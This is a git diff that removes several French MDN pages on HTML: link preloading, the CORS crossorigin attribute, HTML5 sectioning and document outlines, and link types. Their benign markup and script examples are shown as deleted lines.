Vous pouvez ici voir qu'on a ajouté les attributs media sur les éléments <link> afin de charger une image étroite si l'utilisateur utilise un écran étroit ou une image plus large si l'écran de l'appareil est plus large. Il est toutefois nécessaire d'afficher la bonne image en en-tête selon le résultat de la requête média et on utilise donc {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} (lire Tester les requêtes média pour plus d'informations sur ce point).

- -

Ce concept n'est pas limité aux images voire aux fichiers du même type ! Laissez libre cours à votre imagination ! On peut imaginer charger un diagramme SVG relativement simple si l'utilisateur est sur un écran étroit (où la bande passante et le processeur sont souvent plus limités) ou précharger un code JavaScript complexe, utilisé pour afficher un modèle 3D complexe lorsque l'appareil de l'utilisateur possède plus de ressources.

- -

Utiliser des scripts et des préchargements différés

- -

Un autre avantage de ce mécanisme est qu'on peut choisir d'exécuter des préchargements par script si besoin. Dans le fragment de code suivant, on crée une instance de {{domxref("HTMLLinkElement")}} qu'on attache au DOM :

- -
var preloadLink = document.createElement("link");
-preloadLink.href = "myscript.js";
-preloadLink.rel = "preload";
-preloadLink.as = "script";
-document.head.appendChild(preloadLink);
-
- -

Cela signifie que le navigateur préchargera le fichier JavaScript sans pour autant l'utiliser immédiatement.

- -

Pour utiliser le script en question, quand on en a besoin, on pourrait écrire :

- -
var preloadedScript = document.createElement("script");
-preloadedScript.src = "myscript.js";
-document.body.appendChild(preloadedScript);
-
- -

Cela permet de précharger un script et de différer son exécution jusqu'au moment où on en a besoin.

- -

Les autres mécanismes de préchargement

- -

Il existe d'autres fonctionnalités qui permettent de précharger des ressources mais aucune n'est aussi flexible que <link rel="preload"> :

- -
    -
  • <link rel="prefetch"> est pris en charge par les navigateurs depuis longtemps mais sert pour précharger des ressources qui seront utilisées sur la prochaine page vers laquelle on navigue. Autrement dit, c'est utile mais pas pour la page courante ! De plus, les navigateurs choisiront une priorité moins élevée pour les ressources prefetch que pour celles utilisant preload (la page actuelle est considérée comme plus importante que la suivante). Pour plus de détails, lire la FAQ sur le préchargement des liens.
    • -
  • <link rel="prerender"> est utilisé afin d'afficher la page indiquée en arrière-plan, accélérant le chargement de la page si l'utilisateur navigue vers cette page. Pouvant entraîner une consommation de bande passante plus importante, Chrome considère prerender comme un préchargement NoState.
    • -
  • <link rel="subresource">{{non-standard_inline}} était pris en charge par Chrome par le passé et devait permettre de précharger les ressources pour le chargement et la navigation dans la page mais il n'existait de moyen de priorisation (l'attribut as n'existait pas) et l'ensemble des ressources recevait donc une priorité assez basse.
    • -
  • De nombreux utilitaires de chargement scriptés existent par ailleurs mais ils ne disposent pas du contexte de priorisation disponible dans le navigateur et, en tant que ressources, peuvent participer à ces problèmes de performances de chargement.
    • -
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Preload','#x2.link-type-preload','preload')}}{{Spec2('Preload')}}Détails complémentaires sur preload.
{{SpecName('HTML WHATWG', 'link-type-preload', 'rel=preload')}}{{Spec2('HTML WHATWG')}}Définition simple de preload.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.elements.link.rel.preload")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/reglages_des_attributs_cors/index.html b/files/fr/web/html/reglages_des_attributs_cors/index.html deleted file mode 100644 index ebb63f97f5..0000000000 --- a/files/fr/web/html/reglages_des_attributs_cors/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Attributs de réglage du CORS -slug: Web/HTML/Reglages_des_attributs_CORS -tags: - - Avancé - - CORS - - HTML - - Reference -translation_of: Web/HTML/Attributes/crossorigin ---- -
{{HTMLSidebar}}
- -

En HTML5, certains des éléments HTML supportant le CORS (Cross-Origin Resource Sharing) comme les éléments {{HTMLElement("img")}}, {{HTMLElement("video")}} ou {{HTMLElement("script")}}, ont un attribut crossorigin (propriété crossOrigin), qui permet de configurer les requêtes CORS pour les données de l'élément à renvoyer. Ces attributs sont listés ci-après avec les valeurs qu'ils peuvent avoir :

- - - - - - - - - - - - - - - - - - - - -
Mot-cléDescription
anonymousLes requêtes CORS pour cet élément auront le marqueur d'authentification (credentials flag) avec la valeur 'same-origin'.
use-credentialsLes requêtes CORS pour cet élément auront le marqueur d'authentification (credentials flag) avec la valeur 'include'.
""Utiliser la chaîne vide (crossorigin="") ou l'attribut seul (crossorigin) sera équivalent à l'utilisation de la valeur anonymous.
- -

Par défaut (quand l'attribut n'est pas spécifié), le CORS n'est pas du tout utilisé. Le mot-clé anonymous signifie que, lorsqu'il n'y a pas la même origine, il n'y aura ni échange d'informations d'authentification de l'utilisateur via des cookies, ni des certificats SSL côté client ou des authentifications HTTP comme détaillé dans la section terminologique de la spécification CORS.

- -

Un mot-clé invalide ou une chaîne de caractères vide seront interprétés comme le mot-clé anonymous.

- -

Exemple : utiliser crossorigin avec l'élément script

- -

On peut utiliser l'élément {{HTMLElement("script")}} afin d'indiquer au navigateur d'exécuter un script (ici, https://exemple.com/framework-exemple.js) sans envoyer les informations d'authentification de l'utilisateur.

- -
<script src="https://exemple.com/framework-exemple.js"
-        crossorigin="anonymous">
-</script>
- -

Exemple : utiliser des informations d'authentification avec un manifeste

- -

La valeur use-credentials doit être utilisée lorsqu'on récupère un manifeste nécessitant des informations d'authentification, y compris lorsque le fichier provient de la même origine :

- -
<link rel="manifest" href="/app.manifest" crossorigin="use-credentials">
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité du navigateur

- -

L'attribut crossorigin pour <script>

- - - -

{{Compat("html.elements.script.crossorigin")}}

- -

L'attribut crossorigin pour <video>

- - - -

{{Compat("html.elements.video.crossorigin")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html b/files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html deleted file mode 100644 index 319d98e927..0000000000 --- a/files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html +++ /dev/null @@ -1,375 +0,0 @@ ---- -title: Structures et sections d'un document HTML5 -slug: Web/HTML/Sections_and_Outlines_of_an_HTML5_document -tags: - - Avancé - - Exemple - - Guide - - HTML - - HTML5 - - Section - - Structure - - Web -translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines ---- -

Cette page présente la manière dont les navigateurs définissent la structure d'un document à partir de son fichier HTML.

- -

Structure et document outline

- -

Le terme anglais "document outline" ou "document outlines" désigne la structure d'un document générée à partir de ses titres. Cette structure permet de fournir aux usagers une vision simplifiée du document, tel un sommaire ou une table des matières.

- -

Les technologies d'assistances telles que les lecteurs d'écran peuvent proposer à leurs usagers de parcourir le document par ce moyen. Cela leur permet d'avoir rapidement une idée du contenu de la page ou d'aller directement à la section qui les intéresse.

- -

Depuis HTML4, cette structure est générée à partir de la valeur absolue des différents titres. Un <h2> sera considéré comme un niveau hiérarchique plus bas qu'un <h1> et un niveau plus haut qu'un <h3>.

- -

L'algorithme Outline HTML5, proposait quand à lui de générer cette même structure non pas à partir des titres, mais à partir de l'imbrication des <section> entre elles. Cet algorithme n'est à l'heure actuelle implémenté par aucun navigateur ou technologie d'assistance. La partie du document le concernant est donc purement indicative.

- -

Structure d'un document depuis HTML4

- -

La structure d'un document, à savoir la structure sémantique de ce qui est entre <body> et </body>, est fondamentale pour la présentation de la page à l'utilisateur. HTML4 utilise la notion de sections et sous-sections d'un document pour décrire sa structure. Une section est définie par un élément de division HTML ({{HTMLElement ("div")}}) contenant des éléments de titre ({{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{ HTMLElement ("h3")}}, {{HTMLElement ("h4")}}, {{HTMLElement ("h5")}} ou {{HTMLElement ("h6")}}), définissant son titre. Les relations entre ces éléments HTML et la division HTML conduit à la structure du document et son schéma.

- -

Ainsi, le code suivant :

- -

-<div class="section" id="foret-elephants">
-  <h1>Les éléphants de forêt</h1>
-  <p>Dans cet article, nous discutons des éléphants de forêt moins connus.
-     … cette section continue…
-  <div class="subsection" id="foret-habitat">
-    <h2>Habitat</h2>
-    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
-       … ce paragraphe continue…
-  </div>
-</div>
- -

conduit au schéma suivant :

- -
1. Les éléphants de forêt
-  1.1 Habitat
-
- -

Les éléments {{HTMLElement ("div")}} ne sont pas obligatoires pour définir une nouvelle section. La simple présence d'un élément de titre est suffisante pour impliquer une nouvelle section. Par conséquent :

- -
<h1>Les éléphants de forêt</h1>
-  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
-    … cette section continue…
-
-  <h2>Habitat</h2>
-  <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
-    … ce paragraphe continue…
-
-  <h2>Régime</h2>
-
-<h1>Gerbilles de Mongolie</h1>
-
- -

conduit au schéma suivant :

- -
1. Les éléphants de forêt
-  1.1 Habitat
-  1.2 Régime
-2. Gerbilles de Mongolie
- -

Problèmes résolus par HTML5

- -

Le code HTML4 définit la structure d'un document, cependant son algorithme schématique implicite est très strict et conduit à de nombreux problèmes :

- -
    -
  1. L'utilisation de {{HTMLElement ("div")}} pour définir les sections sémantiques, sans définir de valeurs spécifiques pour l'attribut class, rend impossible l'automatisation de l'algorithme (« {{HTMLElement ("div")}} fait-il partie de l'aperçu de la page ? Définit-il une section ou un paragraphe ? » ou « Ce {{HTMLElement ("div")}} est-il là uniquement pour le style ? »). En d'autres termes, la spécification HTML4 est très imprécise sur ce qui est une section et quel est son champ d'application. La génération automatique du schéma est importante, surtout pour les technologies d'assistance (en) qui sont susceptibles d'adapter leur façon de présenter l'information aux utilisateurs en fonction de la structure du document. HTML5 supprime la nécessité d'éléments {{HTMLElement ("div")}} dans l'algorithme par l'introduction d'un nouvel élément, {{HTMLElement ("section")}}, l'élément HTML Section.
    2. -
  2. La fusion de plusieurs documents est compliquée : l'inclusion d'un sous-document dans un document principal conduit à modifier le niveau des éléments de titres HTML afin de conserver le plan du document. Ce problème est résolu dans HTML5, les éléments de section nouvellement introduits ({{HTMLElement ("article")}}, {{HTMLElement ("section")}}, {{HTMLElement ("nav")}} et {{HTMLElement ("aside")}}) sont toujours sous-sections de la plus proche section ascendante, indépendamment des sections créées par les en-têtes internes.
    3. -
  3. En HTML4, chaque section fait partie de la structure du document. Mais les documents ne sont pas souvent linéaires. Un document peut avoir des sections spéciales contenant des informations qui n'en font pas partie, même si elles sont liées au flux principal, comme un bloc de publicité ou une boîte explication. HTML5 introduit l'élément {{HTMLElement ("aside")}} permettant à ces sections de ne pas faire partie du plan principal.
    4. -
  4. Encore une fois, en HTML4, parce que chaque section fait partie de la structure du document, il n'est pas possible d'avoir des sections contenant des informations relatives non pas au document mais au site tout entier, comme des logos, des menus, une table des matières, ou des mentions légales. À cet effet, HTML5 introduit trois éléments de section spécifiques : {{HTMLElement ("nav")}} pour des collections de liens, comme une table des matières, {{HTMLElement ("footer")}} et {{HTMLElement ("header")}} pour les informations relatives au site.
    5. -
- -

Plus généralement HTML5 apporte la précision des caractéristiques de sectionnement et de position, permettant aux contours de documents à être prévisibles et utilisés par le navigateur afin d'améliorer l'expérience utilisateur.

- -

L'algorithme Outline HTML5

- -
-

Important : Aucune implémentation de cet algorithme Outline HTML5 n'existe ni dans les navigateurs web ni dans les technologies d'assistance. Elle n'a jamais fait partie de la spécification finale W3C. L'algorithme Outline ne devrait donc pas être utilisé pour transmettre la structure d'un document aux utilisateurs. Il est recommandé aux auteurs d'utiliser le rang des titres (h1-h6) pour transmettre la structure d'un document.

-
- -

Cet algorithme propose de générer la structure du document à partir de l'imbrication des sections entre elles.

- -

Définir des sections en HTML5

- -

Tout le contenu se trouvant à l'intérieur de l'élément {{HTMLElement ("body")}} est une partie d'une section. Les articles en HTML5 peuvent être imbriqués. À côté de la section principale, définie par l'élément {{HTMLElement ("body")}}, les limites de la section sont définies explicitement ou implicitement. Sections explicitement définies sont le contenu dans {{HTMLElement ("body")}}, {{HTMLElement ("section")}}, {{HTMLElement ("article")}}, {{HTMLElement ("aside")}}, {{HTMLElement ("footer")}}, {{HTMLElement ("header")}} et {{HTMLElement ("nav")}} balises.

- -
-

Remarque : Chaque section peut avoir sa propre hiérarchie rubrique. Par conséquent, même une section imbriquée peut avoir un {{HTMLElement ("h1")}}. Voir Définition des sections en HTML5

-
- -

Prenons un exemple - ici nous avons un document avec une section de haut niveau et un pied de page défini. Dans la section de haut niveau, nous avons trois sous-sections, définies par deux éléments {{htmlelement ('section')}} et un élément {{htmlelement ('aside')}} :

- -
<section>
-
-  <h1>éléphants de forêt</h1>
-
-  <section>
-    <h1>Introduction</h1>
-    <p>Dans cette section, nous discutons des éléphants de forêt moins connus.</p>
-  </section>
-
-  <section>
-    <h1>Habitat</h1>
-    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.</p>
-  </section>
-
-  <aside>
-    <p>bloc publicitaire</p>
-  </aside>
-
-</section>
-
-<footer>
-  <p>(c) 2010 La société Exemple</p>
-</footer>
-
- -

Cela conduit à la structure suivante :

- -
1. Les éléphants de forêt
-  1.1 Introduction
-  1.2 Habitat
-  1.3 Section (aside)
- -

Définition des en-têtes en HTML5

- -

Bien que les éléments de sectionnement HTML définissent la structure du document, un plan a également besoin de titres pour être utile. La règle de base est simple : le premier élément de titre HTML (l'un des {{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{HTMLElement ("h3")}}, {{HTMLElement ("h4")}}, {{HTMLElement ("h5")}}, {{HTMLElement ("h6")}}) définit le titre de la section courante.

- -

Les éléments de titre ont un rang donné par le nombre dans le nom de l'élément, où {{HTMLElement ("h1")}} a le rang le plus élevé et {{HTMLElement ("h6")}} a le rang le plus bas. Le classement relatif ne compte que dans une section ; la structure des sections détermine le plan, et non pas le rang des titres de sections. Par exemple, ce code :

- -
<section>
-  <h1>éléphants de forêt</h1>
-
-  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
-     Cette section continue…</p>
-
-  <section>
-    <h2>Habitat</h2>
-
-    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
-       Ce paragraphe continue…</p>
-  </section>
-</section>
-
-<section>
-  <h3>Gerbilles de Mongolie</h3>
-
-  <p>Dans cet article, nous discutons des célèbres gerbilles mongoles.
-     Cette section continue…
-</section>
- -

conduit à la structure suivante :

- -
1. Les éléphants de forêt
-  1.1 Habitat
-2. Gerbilles de Mongolie
- -

Notez que le rang de l'élément titre (dans l'exemple {{HTMLElement ("h1")}} pour la première section de niveau supérieur, {{HTMLElement ("h2")}} pour la sous-section et {{HTMLElement ("h3")}} pour la seconde section de haut niveau) n'est pas important. Tout rang peut être utilisé comme en-tête d'une section explicitement définie, bien que cette pratique ne soit pas recommandée.

- -

Découpage implicite

- -

Parce que les éléments de sectionnement HTML5 ne sont pas obligatoires pour définir la structure, pour conserver la compatibilité avec le Web existant dominé par HTML4, il existe un moyen de définir des sections sans eux. C'est ce qu'on appelle le découpage implicite.

- -

Les éléments de titre HTML ({{HTMLElement ("h1")}} à {{HTMLElement ("h6")}}) définissent une nouvelle section, implicite, quand ils ne sont pas le premier en-tête de leurs sections ascendantes, explicites. La façon dont cette section implicite est positionnée dans la structure est définie par son rang par rapport au titre précédent dans leur section ascendante. Si elle est d'un rang inférieur à l'en-tête précédent, il ouvre une sous-section implicite de la section. Ce code :

- -
<section>
-  <h1>éléphants de forêt</h1>
-
-  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
-     Cette section continue…
-
-  <h3 class="implicit subsection">Habitat</h3>
-
-  <p>Les éléphants de forêt <p> ne vivent pas dans les arbres mais parmi eux.
-     Ce paragraphe continue…
-</section>
- -

conduit à la structure suivante :

- -
1. Les éléphants de forêt
-  1.1 Habitat (implicitement défini par l'élément h3)
- -

Si elle est de même rang que le titre précédent, elle ferme la section précédente (qui peut avoir été explicite !) et en ouvre une nouvelle implicite de même niveau :

- -
<section>
-  <h1>Éléphants de forêt</h1>
-
-  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
-     Cette section continue…
-
-  <h1 class="implicit section">Gerbilles de Mongolie</h1>
-
-  <p>Les gerbilles de Mongolie sont mignons petits mammifères.
-     Cette section continue…
-</section>
- -

conduit à la structure suivante :

- -
1. Les éléphants de forêt
-2. Gerbilles de Mongolie (implicitement défini par l'élément h1, qui a fermé la section précédente dans le même temps)
- -

Si elle est d'un rang supérieur au titre précédent, elle ferme la section précédente et en ouvre une nouvelle implicite de niveau supérieur :

- -
<body>
-  <h1>Mammifères</h1>
-
-  <h2>Baleines</h2>
-
-  <p>Dans cette section, nous discutons de baleines géantes.
-     Cette section continue…
-
-  <section>
-    <h3>Éléphants de forêt</h3>
-
-    <p>Dans cet article, nous discutons des éléphants de forêt moins connus.
-       Cette section continue…
-
-    <h3>Gerbilles de Mongolie</h3>
-
-    <p>Hordes de gerbilles ont étalé leur gamme bien au-delà Mongolie.
-       Ce paragraphe continue…
-
-    <h2>Reptiles</h2>
-
-    <p>Reptiles sont des animaux à sang froid.
-       Ce paragraphe continue…
-  </section>
-</body>
- -

conduit à la structure suivante :

- -
1. Mammifères
-  1.1 Baleines (défini implicitement par l'élément h2)
-  1.2 éléphants de forêt (défini explicitement par l'élément section)
-  1.3 Gerbilles de Mongolie (défini implicitement par l'élément h3 qui ferme la section précédente en même temps)
-2. Reptiles (défini implicitement par l'élément h2 qui ferme la section précédente en même temps)
-
- -

Ce n'est pas la structure à laquelle on pourrait s'attendre en jetant un coup d'œil rapide sur le balisage. Pour rendre votre balisage humainement compréhensible, il est bon d'utiliser des balises explicites pour ouvrir et fermer les sections, et de faire correspondre les niveaux des titres avec le niveau d'imbrication désiré de la section. Toutefois, cela n'est pas exigé par la spécification HTML5. Si vous trouvez que les navigateurs rendent de façon inattendue le plan de votre document, vérifiez que vos sections sont implicitement fermées par des éléments d'en-tête.

- -

Une exception à cette règle générale – qui veut que rang du titre devrait correspondre au niveau d'imbrication de la section – concerne les sections qui peuvent être réutilisées dans d'autres documents. Par exemple, une section peut être stockée dans un système de gestion de contenu et assemblée dans des documents au moment de l'exécution. Dans ce cas, une bonne pratique consiste à commencer par {{HTMLElement ("h1")}} pour le titre de niveau supérieur de la section réutilisable. Le niveau d'imbrication de la section réutilisable sera déterminé par la hiérarchie des sections du document dans lequel elle apparaît. Les balises de section explicites sont toujours utiles dans ce cas.

- -

Racines de sectionnement

- -

Une racine de sectionnement est un élément HTML qui peut avoir son propre plan, mais les sections et les titres qu'elle contient ne contribuent pas à la structure de son ascendant. À côté de {{HTMLElement ("body")}}, qui est la racine logique de sectionnement d'un document, il y a souvent des éléments qui introduisent du contenu externe à la page : {{HTMLElement ("blockquote")}}, {{HTMLElement ("details")}}, {{HTMLElement ("fieldset")}}, {{HTMLElement ("figure")}} et {{HTMLElement ("td")}}.

- -

Exemple

- -
<section>
-  <h1>Éléphants de forêt</h1>
-  <section>
-    <h2>Introduction</h2>
-    <p>Dans cette section, nous discutons des éléphants de forêt moins connus.</p>
-  </section>
-  <section>
-    <h2>Habitat</h2>
-    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux. Regardons ce que les scientifiques disent dans «&nbsp;<cite> l'éléphant de forêt à Bornéo </cite>&nbsp;»&nbsp;:
-    <blockquote>
-      <h1>Bornéo</h1>
-      <p>L'éléphant de la forêt vie à Bornéo…</p>
-    </blockquote>
-  </section>
-</section>
-
- -

Cet exemple se traduit par la structure suivante :

- -
1. Les éléphants de forêt
-  1.1 Introduction
-  1.2 Habitat
- -

Cette structure ne contient pas le plan interne à l'élément {{HTMLElement ("blockquote")}}, qui, étant une citation externe, est une racine de sectionnement et isole sa structure interne.

- -

Les sections externes à la structure

- -

HTML5 introduit deux nouveaux éléments qui permettent de définir des sections ne faisant pas partie de la structure principale d'un document Web :

- -
    -
  1. L'élément HTML de section ({{HTMLElement ("aside")}}) définit une section qui, bien que liée à l'élément principal, ne fait pas partie du flux principal, comme une boîte d'information ou une publicité. Il dispose de son propre plan, mais il n'appartient pas au plan principal.
    2. -
  2. L'élément HTML de section ({{HTMLElement ("nav")}}) définit une section qui contient les liens de navigation. Il peut y en avoir plusieurs dans un document, par exemple, un avec des liens internes à la page, comme une table des matières, et un autre avec des liens de navigations dans le site. Ces liens ne font pas partie du flux principal et du plan, et généralement peut ne pas être initialement rendu par le lecteur d'écran et les technologies d'assistance similaires.
    3. -
- -

Headers and Footers

- -

HTML5 présente également deux nouveaux éléments qui peuvent être utilisés pour marquer l'en-tête et le pied de page d'une section :

- -
    -
  1. L'élément HTML de titre de section ({{HTMLElement ("header")}}) définit l'en-tête d'une page, contenant généralement le logo et le nom du site et, éventuellement, un menu horizontal. Malgré son nom, il n'est pas nécessairement placé au début de la page.
    2. -
  2. L'élément HTML de pied de section ({{HTMLElement ("footer")}}) définit un pied-de-page, contenant généralement les mentions légales et parfois quelques liens. Malgré son nom, il n'est pas nécessairement placé dans le bas de la page.
    3. -
- -

Ceux-ci ne créent pas de nouvelles sections dans la structure, mais ils marquent le contenu dans les sections de la page.

- -

Adresses dans les éléments de sectionnement

- -

L'auteur d'un document veut souvent publier des informations de contact, le nom de l'auteur tel et son adresse. HTML4 le permet grâce à cet l'élément {{HTMLElement ("address")}}, qui a été prolongé en HTML5.

- -

Un document peut être fait de différentes sections de différents auteurs. Une section d'un autre auteur que celui de la page principale est définie en utilisant l'élément {{HTMLElement ("article")}}. Par conséquent, l'élément {{HTMLElement ("address")}} est désormais lié à son {{HTMLElement ("body")}} ou à l'ancêtre {{HTMLElement ("article")}} le plus proche.

- -

Utilisation des éléments HTML5 dans les navigateurs Non-HTML5

- -

Les articles et les éléments en-têtes devraient fonctionner dans la plupart des navigateurs non HTML5. Bien que non pris en charge, ils n'ont pas besoin d'une interface spéciale DOM et ils n'ont besoin que d'un style CSS spécifique comme des éléments inconnus sont aménagés comme display: inline par défaut:

- -
section, article, aside, footer, header, nav, hgroup {
-  display: block;
-}
- -

Bien sûr, le développeur web peut styliser différemment, mais gardez à l'esprit que dans un navigateur non HTML5, le style par défaut est différent de ce qui est attendu de ces éléments. Notez également que le {{HTMLElement ("time")}} élément n'a pas été inclus, car le style par défaut pour elle dans un navigateur non HTML5 est le même que celui de l'une HTML5 compatible.

- -

Cette méthode a ses limites si, comme certains navigateurs ne permettent pas de style des éléments non pris en charge. C'est le cas d'Internet Explorer (version 8 et versions antérieures), qui ont besoin d'un script spécifique pour permettre à celle-ci :

- -
<!--[if lt IE 9]>;
-  <script>
-    document.createElement("header");
-    document.createElement("footer");
-    document.createElement("section");
-    document.createElement("aside");
-    document.createElement("nav");
-    document.createElement("article");
-    document.createElement("hgroup");
-    document.createElement("time");
-  </script>
-<![endif]-->
- -

Ce script signifie que, dans le cas d'Internet Explorer (8 et antérieures), les scripts doivent être activés pour pouvoir afficher HTML5 et les éléments de sectionnement titres correctement. Sinon, ils ne seront pas affichés, ce qui peut être problématique, car ces éléments sont susceptibles de définir la structure de la page entière. C'est pourquoi un élément {{HTMLElement ("NoScript")}} explicite devrait être ajouté pour ce cas :

- -
<noscript>
-  <p><strong>Attention, cette page Web nécessite que JavaScript soit activé !</strong></p>
-  <p>JavaScript est un langage de programmation couramment utilisé pour créer des effets intéractifs dans les navigateurs Web.</p>
-  <p>Malheureusement, il est désactivé dans votre navigateur. Veuillez l'activer pour afficher cette page.</p>
-  <p><a href="https://goo.gl/koeeaJ">Comment activer JavaScript ?</a></p>
-</noscript>
- -

Cela conduit au code ci-dessous pour permettre la prise en charge des éléments de sections et d'en-têtes HTML5 dans les navigateurs non HTML5, même pour Internet Explorer (8 et antérieur), avec un retour correct pour le cas où ce dernier est configuré pour ne pas autoriser les scripts :

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("header");
-    document.createElement("footer");
-    document.createElement("section");
-    document.createElement("aside");
-    document.createElement("nav");
-    document.createElement("article");
-    document.createElement("hgroup");
-    document.createElement ("time");
-  </script>
-<![endif]-->
-  <noscript>
-    <p><strong>Attention, cette page Web nécessite que JavaScript soit activé !</strong></p>
-    <p>JavaScript est un langage de programmation couramment utilisé pour créer des effets interactifs dans les navigateurs Web.</p>
-    <p>Malheureusement, il est désactivé dans votre navigateur. Veuillez l'activer pour afficher cette page.</p>
-    <p><a href="https://goo.gl/koeeaJ">Comment activer JavaScript ?</a></p>
-  </noscript>
-
- -
-

Cependant, pour des raisons d’accessibilité, un site devrait toujours pouvoir être consultable en l’absence de Javascript.

-
- -

Conclusion

- -

Les nouveaux éléments sémantiques introduits en HTML5 apportent la capacité de décrire la structure et le plan d'un document web d'une manière standard. Ils apportent un grand avantage pour les utilisateurs de navigateurs HTML5 et qui ont besoin de la structure pour les aider à comprendre la page, par exemple, les utilisateurs de technologies d'assistance. Ces nouveaux éléments sémantiques sont simples à utiliser et, avec très peu d'efforts, ils peuvent également être mis en œuvre dans les navigateurs ne prenant pas en charge HTML5. Par conséquent, ils devraient être utilisés sans restriction.

- -
{{HTML5ArticleTOC()}}
diff --git a/files/fr/web/html/types_de_lien/index.html b/files/fr/web/html/types_de_lien/index.html deleted file mode 100644 index f8134a8fe7..0000000000 --- a/files/fr/web/html/types_de_lien/index.html +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: Types de lien -slug: Web/HTML/Types_de_lien -tags: - - HTML - - Reference - - Types de lien - - Web -translation_of: Web/HTML/Link_types ---- -
{{HTMLSidebar}}
- -

En HTML, les types de lien indiquent la relation entre deux documents, reliés ensemble grâce à un élément {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}} ou {{HTMLElement("link")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Liste des types de lien HTML et leur signification
Type de lienDescriptionUtilisable dans ces élémentsInterdit dans ces éléments
alternate -
    -
  • Si l'élément est un élément {{HTMLElement("link")}} et que l'attribut {{htmlattrxref("rel", "link")}} contient le type stylesheet, ce lien définit une feuille de style alternative. Dans ce cas, l'attribut {{htmlattrxref("title", "link")}} doit être présent et ne doit pas être la chaîne de caractères vide.
    • -
  • Si l'attribut {{htmlattrxref("type","link")}} vaut application/rss+xml ou application/atom+xml, le lien définit un flux de syndication. Le premier flux définit sur la page est le flux par défaut.
    • -
  • Sinon, le lien définit une page alternative, il peut s'agir : -
      -
    • Si l'attribut {{htmlattrxref("media","link")}} est défini, d'une page destinée à un autre support (par exemple une tablette)
      • -
    • D'une page dans une autre langue si l'attribut {{htmlattrxref("hreflang","link")}} est défini,
      • -
    • D'une page dans un autre format (par exemple PDF) si l'attribut {{htmlattrxref("type","link")}} est défini,
      • -
    • D'une combinaison de ces documents.
      • -
    -
    • -
- 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
archives {{obsolete_inline}}Ce type définit un hyperlien vers un document qui contient un lien d'archive vers le document courant. Un billet de blog pourrait ainsi créer un lien vers un index qui liste les articles publiés pendant ce mois.
-
- Note : Bien que la forme archive (au singulier) soit reconnue, elle est incorrecte et doit être évitée.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
authorCe type définit un hyperlien vers une page qui décrit l'auteur ou qui fournit un moyen de contacter l'auteur du document.
-
- Note : Ce lien peut être un lien mailto: bien que ce ne soit pas recommandé afin d'éviter la collecte de l'adresse électronique (mieux vaut avoir un formulaire de contact).
-
- Bien que l'attribut {{htmlattrxref("rev", "link")}} soit reconnu pour les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}} et {{HTMLElement("link")}}, il ne faut pas utiliser cet attribut avec un type de lien « made » mais plutôt utiliser {{htmlattrxref("rel", "link")}} avec ce type de lien (« author »).		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
bookmarkCe type de lien indique l'hyperlien est un permalien pour l'élément {{HTMLElement("article")}} qui est l'ancêtre le plus proche. S'il n'y en a aucun, c'est un permalien pour la section la plus proche de l'élément courant.
-
- Ce type de lien permet de placer un marque-page pour un seul article d'une page qui contient plusieurs articles (par exemple un agrégateur).		{{HTMLElement("a")}}, {{HTMLElement("area")}}{{HTMLElement("link")}}, {{HTMLElement("form")}}
canonicalUn lien canonique est un élément HTML qui aide les webmasters à ne pas dupliquer du contenu en indiquant la version canonique ou préférée de la page pour l'optimisation à destination des moteurs de recherche.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
dns-prefetch {{experimental_inline}}Ce type de lien indique au navigateur qu'une ressource est nécessaire et permet au navigateur d'effectuer une requête DNS et un établissement de connexion avant que l'utilisateur clique sur le lien.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
externalCe type de lien indique que l'hyperlien mène vers une ressource située à l'extérieur du site sur lequel se trouve la page courante. Autrement dit, en suivant ce lien, l'utilisateur quitte le site qu'il visite.{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
first {{obsolete_inline}}Ce type indique que l'hyperlien mène à la première ressource dans la série de ressources à laquelle appartient la page actuelle.
-
